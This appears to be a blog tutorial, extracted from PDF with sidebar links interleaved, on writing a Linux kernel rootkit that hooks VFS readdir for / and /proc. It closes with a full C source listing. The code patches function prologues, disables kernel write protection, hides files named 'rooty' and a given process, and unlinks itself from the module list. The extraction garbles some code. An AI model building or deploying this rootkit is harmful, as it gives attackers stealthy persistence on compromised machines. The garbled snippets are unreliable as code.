Mosaic Sidebar Snapshot Timeslide	Classic Flipcard Magazine
Wri	USBCreator Exploit (or
Writing Mo	DMESG_RESTRICT By
	JournalCTL Terminal Es
Destroy and Rebuild	Ghetto Privilege Escalati
In the last part we looked at system cal course, there are a multitude of drawba	Writing Linux Rootkits 301
In fact, we will start our drivers again from around with the system call hijacking as	Writing Linux Rootkits 2
Skeleton Once More	Linux Rootkits 10 2
<pre>#include <linux module.h=""></linux></pre>	Exploiting Exotic 3
<pre>#include <linux init.h=""> #include <linux kernel.h=""></linux></linux></pre>	Exploiting Exotic
MODULE_LICENSE("GPL");	Exploiting Exotic
<pre>int rooty_init(void); void rooty_exit(void); module_init(rooty_init);</pre>	Attacking Kippo
module_exit(rooty_init);	Modern Userland Linux
<pre>int rooty_init(void) { printk("rooty: module loaded\n"); return 0;</pre>	Discovering Modern CS
·	

Exodus Intelligence - Br...

Writing Linux Rootkits 201 (2/3)

Writing Modern Linux Rootkits 201 - VFS

By Tyler Borland (TurboBorland)

Destroy and Rebuild

In the last part we looked at system call hooking and how we can take advantage of that to hide files on the system. Of course, there are a multitude of drawbacks to that approach, so instead this part will focus on virtual filesystem rootkits. In fact, we will start our drivers again from a basic skeleton and build it up once more. So I hope you had fun and played around with the system call hijacking as we will not be using any of that code.

Skeleton Once More

```
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
MODULE_LICENSE("GPL");
int rooty init(void);
void rooty exit(void);
module_init(rooty_init);
module_exit(rooty_exit);
int rooty_init(void) {
 printk("rooty: module loaded\n");
 return 0;
```

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide
USBCreator Exploit (or	reiser fs, or other special filesystems like procfs. This extra layer translates easy to use VFS functions to their appropriate functions offered by the given filesystem. This allows a developer to interact solely with the VFS and not needing to find,
DMESG_RESTRICT By	handle, and support the different functions and types of individual filesystems.
JournalCTL Terminal Es	There are two major reasons why we should care about this. First, we can hook a VFS function and deal with that one function to hide information from the concrete filesystem. This allows a one stop shop hijack for hiding from any VFS supported filesystem (the majority of them). With this we will have the ability to hide files and directories from most tool
Ghetto Privilege Escalati	with ease. The second reason is that procfs is a supported filesystem.
Writing Linux Rootkits 301	Procfs (Proc filesystem)
Writing Linux Rootkits 2	The proc filesystem is an interface to easily manage kernel data structures. This includes being able to retrieve and even change data inside the linux kernel at runtime. More importantly, for us, it also provides an interface for process data. Each process is mapped to procfs by its given process id number. Retrieving this pid number allows any tool to pull, with
Linux Rootkits 10 2	appropriate privileges, whatever data it needs to find out about that given process. This includes its memory mapping, memory usage, network usage, parameters, environment variables, and etc. Given this, if we know the pid and we're
Exploiting Exotic 3	hooked into the VFS for procfs, we can also manipulate data returned to these tools to hide processes.
Exploiting Exotic 1	Getting A Few Pointers
Exploiting Exotic 1	Now that we know what we need to do we must first get a pointer to the appropriate VFS function for our root directory, /, for the ability to hide files and directories. We will then need to get another VFS pointer to /proc for the process to hide processes. But what pointer/function do we want to hijack? To figure this out, let's quickly take a look at the
Attacking Kippo 1	file_operations structure seen in includes/fs.h:
Modern Userland Linux	<pre>struct file_operations { struct module *owner; loff t (*llsock) (struct file * loff t int);</pre>
Discovering Modern CS	<pre>loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, charuser *, size_t, loff_t *); ssize_t (*write) (struct file *, const sharuser *, size_t _loff_t *);</pre>
Exodus Intelligence - Br	<pre>ssize_t (*write) (struct file *, const charuser *, size_t, loff_t *); ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); ssize t (*aio write) (struct kiocb *, const struct iovec *, unsigned long, loff t);</pre>
	Dynamic views template. I overed by blogger.

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide
USBCreator Exploit (or	<pre>int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *);</pre>
DMESG_RESTRICT By	<pre>int (*fetease) (struct file *, struct file *); int (*fsync) (struct file *, loff_t, int datasync); int (*aio_fsync) (struct kiocb *, int datasync);</pre>
JournalCTL Terminal Es	<pre>int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);</pre>
Ghetto Privilege Escalati	unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); int (*check_flags)(int);
Writing Linux Rootkits 301	int (*flock) (struct file *, int, struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
Writing Linux Rootkits 2	<pre>ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease)(struct file *, long, struct file_lock **);</pre>
Linux Rootkits 10 2	<pre>long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); };</pre>
Exploiting Exotic 3	Read and write would be a good goto when starting to look at this structure. However, we will actually be looking at readdir.
Exploiting Exotic	Readdir
Exploiting Exotic	Readdir takes a linux 'dirent' structure from the given file descriptor and fills a buffer. Readdir(2) was superceded by getdents(2) which allow several dirent structures to fill a buffer. This structure looks like:
Attacking Kippo	struct linux dirent {
Modern Userland Linux	unsigned long d_ino; /* Inode number */ unsigned long d_off; /* Offset to next linux_dirent */
Discovering Modern CS	<pre>unsigned short d_reclen; /* Length of this linux_dirent */ char</pre>
Exodus Intelligence - Br	offsetof(struct linux_dirent, d_name) */ /*
	Dynamic Views template. Powered by Blogger.

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide
USBCreator Exploit (or	} While readdir(2) was superceded by getdents(2), they both are implemented to call vfs_readdir in readdir.c which both
DMESG_RESTRICT By	end up pointing to "res = file->f_op->readdir(file, buf, filler);".
JournalCTL Terminal Es	A really important takeaway is the 'filler' part which is of filldir_t. This is actually the part that fills the userland buffer with the dirent data. As can be seen here:
Ghetto Privilege Escalati	<pre>dirent = buf->previous; if (dirent) {</pre>
Writing Linux Rootkits 301	<pre>if (put_user(offset, &dirent->d_off))</pre>
Writing Linux Rootkits 2	<pre>} dirent = buf->current_dir;</pre>
Linux Rootkits 10 2	<pre>if (put_user(d_ino, &dirent->d_ino)) goto efault;</pre>
Exploiting Exotic 3	<pre>if (put_user(reclen, &dirent->d_reclen)) goto efault; if (copy_to_user(dirent->d_name, name, namlen))</pre>
Exploiting Exotic 1	goto efault; if (put_user(0, dirent->d_name + namlen))
Exploiting Exotic	<pre>goto efault; if (put_user(d_type, (charuser *) dirent + reclen - 1)) goto efault;</pre>
Attacking Kippo	So, when we hijack file->f_op->readdir all we really need to do is manage our own filldir function, parse it, and then call
Modern Userland Linux	the real readdir with our filldir values.
Discovering Modern CS	Note about kernel versions >= 3.11 With 3.11 kernels, vfs_readdir has been completely removed and now uses iter_dir for the new iterator value in
Exodus Intelligence - Br	file_operations. This looks like "file->f_op->iterate(file, ctx);" where ctx is struct dir_context *ctx. This structure looks like:

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide
USBCreator Exploit (or	I will update this post as soon as full coverage for 3.11 kernels is completed.
DMESG_RESTRICT By	Getting The Pointers
JournalCTL Terminal Es	Hopefully, it should be easy enough to see how this code will work. We're going to make a function where we want to retrieve two pointers. One for the root filesystem's file->f_op>readdir and one for the proc filesystem of the same.
Ghetto Privilege Escalati	<pre>void *get_readdir(const char *path) { void *ret;</pre>
Writing Linux Rootkits 301	struct file *file;
Writing Linux Rootkits 2	<pre>if ((file = filp_open(path,0_RDONLY,0)) == NULL) return NULL;</pre>
Linux Rootkits 10 2	<pre>ret = file->f_op->readdir;</pre>
Exploiting Exotic 3	<pre>filp_close(file,0): return ret;</pre>
Exploiting Exotic	}
Exploiting Exotic 1	And all that needs to be done now is prototype some readdir functions and then point one of the paths at our get_readdir function. A prototype is very simple if you remember how it looked in the file_operations struct. This prototype in our example is:
Attacking Kippo	static int (*o_root_readdir)(struct file *file, void *dirent, filldir_t filldir);
Modern Userland Linux	static int (*o_proc_readdir)(struct file *file, void *dirent, filldir_t filldir);
Discovering Modern CS	And then in rooty_init, we gain our pointer by doing 'o_root_readdir = get_readdir("/");' and 'o_proc_readdir = get_readdir("/proc");'.
Exodus Intelligence - Br	The Hijacking Setup

Classic Flipcard Magazine Mosaic Sidebar Snapshot Timeslide USBCreator Exploit (or ... #if defined(i386) #define csize 6 /* code size */ #define jacked code "\x68\x00\x00\x00\x00\xc3" /* push addr; ret */ DMESG RESTRICT By ... #define poff 1 /* offset to start writing address */ #else JournalCTL Terminal Es... #define csize 12 /* code size */ #define jacked code "\x48\x8b\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0" /* mov rax,[addr]; jmp rax */ #define poff 2 /* offset to start writing address */ Ghetto Privilege Escalati... #endif Writing Linux Rootkits 301 Now that we have the sizes and code, we'll need to fill in the missing addresses with a pointer to our own readdir functions and save a copy of the original code. We will also be managing a list considering we're dealing with hijacking Writing Linux Rootkits 2... two different filesystems. Let's start off by showing the function: Linux Rootkits 10... void save it(void *target, void *new) { struct hook *h: Exploiting Exotic ... unsigned char hijack code[csize]; unsigned char o_code[csize]; Exploiting Exotic ... memcpy(hijack code,jacked code,csize); *(unsigned long *)&hijacked code[poff] = (unsigned long)new; Exploiting Exotic ... memcpy(o_code,target,csize); Attacking Kippo h = kmalloc(sizeof(*h), GFP KERNEL); h->target = target; memcpy(h->hijack code,hijack code,csize); Modern Userland Linux ... memcpy(h->o code,o code,csize); list_add(&h->list,&hooked_targets); Discovering Modern CS... } A call into this function would use the pointer we got from *get readdir and a pointer to our new function. So our Exodus Intelligence - Br... rooty init would now look like:

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide
	o_proc_readdir = get_readdir("/");
USBCreator Exploit (or	<pre>save_it(o_proc_readdir,rooty_proc_readdir);</pre>
	}
DMESG_RESTRICT By	The part that hasn't been explained yet is the list in our save_it function. Because we have two different targets and
	hijacks dealing with the two filesystems, it makes things much easier to use a list. We can simply list each entry, check
JournalCTL Terminal Es	the target to see if this is what we want to work on, and fix/hijack appropriately. This makes it a cleaner approach when
	we get to the hijacking and cleanup.
Ghetto Privilege Escalati	
	Our Own readdir/filldir
Writing Linux Rootkits 301	Now that we know what to hijack and have our code built up, we need to build our own functions for / and /proc's readdir.
	If you remember earlier, the more important piece is the filldir_t that actually fills the userland buffer with the dirent data.
Writing Linux Rootkits 2	We'll have two functions for each filesystem. One for both readdir and filldir. When a call is made into the hijacked
	readdir, we're going to fix the data with the original code and then call the function with our own filldir, then hijack the
Linux Rootkits 10 2	prologue bytes once more and return. The filldir will simply check for what we want to hide and return 0 if a match is
	made. First we'll need to figure out how filldir_t is laid out. For this information we can check out /fs/readdir.c:
Exploiting Exotic 3	static int filldir(void *buf, const char * name, int namlen, loff_t offset, u64 ino, unsigned int d_type)
	Statio int illian (voidbai, const onalname, int harmen, lon_t onset, do-t into, andighed int a_type)
Exploiting Exotic	With knowing how readdir and filldir is laid out, we can finally create our own functions:
Exploiting Exotic	static int rooty_root_filldir(void *buff, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type) {
, , ,	char *get protect = "rooty";
Attacking Kippo	endi get_protect = 100ty ,
, maximing ruppo	<pre>if strstr(name,get_protect)</pre>
Modern Userland Linux	return 0;
Wodern oschana Emax	
Discovering Modern CS	return o_root_filldir(buff,name,namelen,offset,ino,d_type);
Discovering Wodern 05	}
Exodus Intelligence - Br	<pre>int rooty_root_readdir(struct file *file, void *dirent, filldir_t filldir) {</pre>
Exodus IIIlelligence - DI	int ret;
	Dynamic Views template. Powered by Blogger.

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide
USBCreator Exploit (or	return ret; }
DMESG_RESTRICT By	static int rooty_proc_filldir(void *buff, const char *name, int namelen, loff_t offset, u64 ino, insigned int d_type)
JournalCTL Terminal Es	long pid; char *endp;
Ghetto Privilege Escalati	<pre>long my_pid = 1; unsigned short base = 10;</pre>
Writing Linux Rootkits 301	<pre>pid = simple_strtol(name,&endp,base); if (my_pid == pid)</pre>
Writing Linux Rootkits 2	return 0;
Linux Rootkits 10 2	<pre>return o_proc_filldir(buff,name,namelen,offset,ino,d_type); }</pre>
Exploiting Exotic 3	<pre>int rooty_proc_readdir(struct file *file, void *dirent, filldir_t filldir) { int ret;</pre>
Exploiting Exotic	o_proc_filldir = filldir;
Exploiting Exotic 1	<pre>fix_it(o_proc_readdir); ret = o_proc_readdir(file,dirent,&rooty_proc_filldir); jack_it(o_proc_readdir);</pre>
Attacking Kippo	return ret;
Modern Userland Linux	The rooty_proc_filldir function uses a static pid. Your piece of malware would normally communicate to the rootkit to tell it
Discovering Modern CS	the process id to hide and add it to a list to hide appropriately. However, this is only an example skeleton and proving the rootkit works is the goal of the article. The only thing that's left to explain is how jack_it and fix_it actually works.
Exodus Intelligence - Br	jack_it and fix_it

search

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide
USBCreator Exploit (or	code to the given function. To do this is we use list_for_each_entry and cycle through our list's entries. Let's take a look:
DMESG_RESTRICT By	<pre>void jack_it(void *target) { /* dirty mind? o.0 */</pre>
JournalCTL Terminal Es	<pre>struct hook *h; list_for_each_entry(h, &hooked_targets, list) {</pre>
Ghetto Privilege Escalati	<pre>if (target == h->target) { preempt_disable();</pre>
Writing Linux Rootkits 301	<pre>barrier(); write_cr0(read_cr0() & (~ 0x10000));</pre>
Writing Linux Rootkits 2	<pre>memcpy(target,h->hijack_code,csize); write_cr0(read_cr0() 0x10000); barrier();</pre>
Linux Rootkits 10 2	<pre>preempt_enable_no_resched(); }</pre>
Exploiting Exotic 3	} }
Exploiting Exotic	<pre>void fix_it(void *target) { struct hook *h;</pre>
Exploiting Exotic	<pre>list_for_each_entry(h, &hooked_targets, list) {</pre>
Attacking Kippo	<pre>if (target == h->target) { preempt_disable(); barrier();</pre>
Modern Userland Linux	<pre>write_cr0(read_cr0() & (~ 0x10000)); memcpy(target,h->o_code,csize);</pre>
Discovering Modern CS	<pre>write_cr0(read_cr0() 0x10000); barrier();</pre>
Exodus Intelligence - Br	<pre>preempt_enable_no_resched(); }</pre>

Exploiting Exotic ...

Modern Userland Linux ...

Discovering Modern CS...

Exodus Intelligence - Br...

Attacking Kippo

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide
USBCreator Exploit (or	<pre>int rooty_init(void) {</pre>
DMESG_RESTRICT By	<pre>o_root_readdir = get_readdir("/"); save_it(o_root_readdir,rooty_root_readdir); jack_it(o_root_readdir);</pre>
JournalCTL Terminal Es	o proc readdir = get readdir("/");
Ghetto Privilege Escalati	<pre>save_it(o_proc_readdir,rooty_proc_readdir); jack_it(o_proc_readdir);</pre>
Writing Linux Rootkits 301	Conclusion
Writing Linux Rootkits 2	That's all there is to it! We now have a function VFS rootkit. In the coming parts we'll start working on building this rootkit
Linux Rootkits 10 2	to be better and bypassing module security and other security checks. For now you should understand the rootkit code I'm presenting at the bottom of this post. Again, we didn't cover a whole lot on the 3.11 support, but with understanding of how the other code works, understanding the 3.11 code shouldn't be an issue.
Exploiting Exotic 3	Code
Exploiting Exotic	#include dinuv/medule he
Exploiting Exotic	<pre>#include <linux module.h=""> #include <linux init.h=""></linux></linux></pre>

#include <linux/kernel.h> #include <linux/kobject.h>

#include <linux/string.h> #include <linux/slab.h> #include <linux/version.h>

#include <linux/proc_fs.h>

MODULE_LICENSE("GPL");

int rooty_init(void);

search

```
Classic Flipcard Magazine Mosaic Sidebar Snapshot Timeslide
                               static int (*o root filldir)(void * buf, const char *name, int namelen, loff t offset, u64 ino, unsigned int d type);
     USBCreator Exploit (or ...
                               #if defined( i386 )
                               #define csize 6 /* code size */
     DMESG RESTRICT By...
                               #define jacked code "x68x00x00x00x00" /* push address, addr, ret */
                               #define poff 1 /* pointer offset to write address to */
     JournalCTL Terminal Es...
                               #else
                               #define csize 12 /* code size */
     Ghetto Privilege Escalati...
                               /* mov address to register rax, jmp rax. for normal x64 convention */
                               #define jacked code \frac{348}{x00}x00x00x00x00x00x00x00x00xffxe0
                               #define poff 2
     Writing Linux Rootkits 301
                               #endif
     Writing Linux Rootkits 2...
                               struct hook {
                                void *target; /* target pointer */
                                unsigned char hijack code[csize]; /* hijacked function jmp */
     Linux Rootkits 10...
                                unsigned char o code[csize]; /* original function asm */
                                struct list head list; /* linked list for proc and root readdir/iterator */
     Exploiting Exotic ...
                              };
     Exploiting Exotic ...
                               LIST HEAD(hooked targets);
                               void jack it(void *target) {
     Exploiting Exotic ...
                                /* o.0 dirty minds? */
                                struct hook *h;
     Attacking Kippo
                                list for each entry(h, &hooked targets, list) {
     Modern Userland Linux ...
                                 if (target == h->target) {
                                  preempt disable();
                                  barrier();
     Discovering Modern CS...
                                  write cr0(read cr0() & (~ 0x10000));
                                  memcpy(target,h->hijack_code,csize);
     Exodus Intelligence - Br...
                                  write cr0(read cr0() | 0x10000);
                                                                Dynamic Views template. Powered by Blogger.
```

```
Classic Flipcard Magazine Mosaic Sidebar Snapshot Timeslide
                               void fix it(void *target) {
     USBCreator Exploit (or ...
                                struct hook *h;
                                list for each entry(h, &hooked targets, list) {
     DMESG_RESTRICT By...
                                 if (target == h->target) {
                                   preempt disable();
     JournalCTL Terminal Es...
                                  barrier();
                                  write cr0(read_cr0() & (~ 0x10000));
     Ghetto Privilege Escalati...
                                  memcpy(target,h->o_code,csize);
                                   write cr0(read cr0() | 0x10000);
                                   barrier();
     Writing Linux Rootkits 301
                                   preempt enable no resched();
     Writing Linux Rootkits 2...
                               }
     Linux Rootkits 10...
                               void *get readdir(const char *path) {
                                void *ret;
     Exploiting Exotic ...
                                struct file *file;
     Exploiting Exotic ...
                                if ((file = filp open(path, 0 RDONLY, 0)) == NULL)
                                  return NULL;
      Exploiting Exotic ...
                                ret = file->f op->readdir;
                                filp_close(file,0);
      Attacking Kippo
                                return ret;
     Modern Userland Linux ...
                               static int rooty root filldir(void * buff, const char *name, int namelen, loff t offset, u64 ino, unsigned int d type) {
      Discovering Modern CS...
                                char *get_protect = "rooty";
      Exodus Intelligence - Br...
                                if (strstr(name,get protect))
```

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide	
USBCreator Exploit (or	<pre>int ret; o_root_filldir = filldir;</pre>	
DMESG_RESTRICT By	<pre>fix_it(o_root_readdir); ret = o_root_readdir(file,dirent,&rooty_root_filldir);</pre>	
JournalCTL Terminal Es	<pre>jack_it(o_root_readdir);</pre>	
Ghetto Privilege Escalati	return ret; }	
Writing Linux Rootkits 301	static int rooty_proc_filldir(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type) { long pid;	
Writing Linux Rootkits 2	<pre>char *endp; /* my_pid is where your malware would communicate to the rootkit what the pid is to hide */ long my pid = 1;</pre>	
Linux Rootkits 10 2	unsigned short base = 10;	
Exploiting Exotic 3	<pre>pid = simple_strtol(name,&endp,base); if (pid == my_pid)</pre>	
Exploiting Exotic	return 0;	
Exploiting Exotic	<pre>return o_proc_filldir(buf,name,namelen,offset,ino,d_type); }</pre>	
Attacking Kippo 1	<pre>int rooty_proc_readdir(struct file *file, void *dirent, filldir_t filldir) { int ret;</pre>	
Modern Userland Linux	<pre>o_proc_filldir = filldir; fix_it(o_proc_readdir);</pre>	
Discovering Modern CS	<pre>ret = o_proc_readdir(file,dirent,&rooty_proc_filldir); jack_it(o_proc_readdir);</pre>	
Exodus Intelligence - Br	return ret;	
Dynamic Views template. Powered by Blogger.		

search

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide
USBCreator Exploit (or	<pre>memcpy(hijack_code,jacked_code,csize); *(unsigned long *)&hijack_code[poff] = (unsigned long)new;</pre>
DMESG_RESTRICT By	memcpy(o_code,target,csize);
JournalCTL Terminal Es	<pre>h = kmalloc(sizeof(*h), GFP_KERNEL); h->target = target;</pre>
Ghetto Privilege Escalati	<pre>memcpy(h->hijack_code,hijack_code,csize); memcpy(h->o_code,o_code,csize); list_add(&h->list,&hooked_targets);</pre>
Writing Linux Rootkits 301	}
Writing Linux Rootkits 2	<pre>int rooty_init(void) { /* Do kernel module hiding*/ list_del_init(&this_module.list);</pre>
Linux Rootkits 10 2	kobject_del(&THIS_MODULE->mkobj.kobj);
Exploiting Exotic 3	<pre>/* hijack root filesystem */ o_root_readdir = get_readdir("/");</pre>
Exploiting Exotic	<pre>save_it(o_root_readdir,rooty_root_readdir); jack_it(o_root_readdir);</pre>
Exploiting Exotic	<pre>/* hijack proc filesystem */ o_proc_readdir = get_readdir("/proc");</pre>
Attacking Kippo	<pre>save_it(o_proc_readdir,rooty_proc_readdir); jack_it(o_proc_readdir);</pre>
Modern Userland Linux	return 0; }
Discovering Modern CS	<pre>void rooty_exit(void) {</pre>
Exodus Intelligence - Br	<pre>fix_it(o_root_readdir); fix_it(o_proc_readdir);</pre>
	Dynamic Views template. Powered by Blogger.

search

Classic Flipcard Magazine	Mosaic Sidebar Snapshot Timeslide	
USBCreator Exploit (or	code, I found his rootkit and it helped me a bunch. If you'd like to see a great project that does everything here, supports ARM, and much more that we'll get into later when writing the malware counterpart (hiding communication channels)	
DMESG_RESTRICT By	then definitely check out his project at https://github.com/mncoppola/suterusu [https://github.com/mncoppola/suterusu].	
lauma al CTI. Tamain al Fa	Posted 4th October 2013 by TurboBorland	
JournalCTL Terminal Es	0 Add a comment	
Ghetto Privilege Escalati		
Writing Linux Rootkits 301		
Writing Linux Rootkits 2		
Linux Rootkits 10 2		
Exploiting Exotic 3		
Exploiting Exotic		
Exploiting Exotic		
Attacking Kippo		
Modern Userland Linux		
Discovering Modern CS		
Exodus Intelligence - Br		
	Dynamic Views template. Powered by Blogger.	